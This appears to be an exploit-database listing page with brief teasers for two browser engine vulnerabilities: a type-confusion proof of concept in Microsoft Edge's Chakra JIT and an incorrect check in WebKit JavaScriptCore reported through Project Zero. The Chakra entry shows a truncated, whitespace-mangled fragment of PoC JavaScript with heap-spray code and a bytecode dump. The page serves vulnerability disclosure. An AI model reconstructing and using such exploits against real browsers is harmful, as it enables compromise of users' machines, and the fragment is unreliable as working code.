Microsoft Edge Chakra JIT - Parameter Scope Parsing Type Confusion

Microsoft Edge Chakra JIT - Parameter Scope Parsing Type Confusion // PoC: async function triggera = class b await 1 let spray = ; for let i = 0; i 0016 SetHomeObj R13 R14 001b NewScObjectSimple R9 001d ProfiledStFld R9.value = R2 1 0021 ProfiledStFld R9.done = R4 2 0025 Yield R9 R9...

WebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScope

WebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScope / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1173 When a super expression is used in an arrow function, the following code, which generates bytecode, is called. if...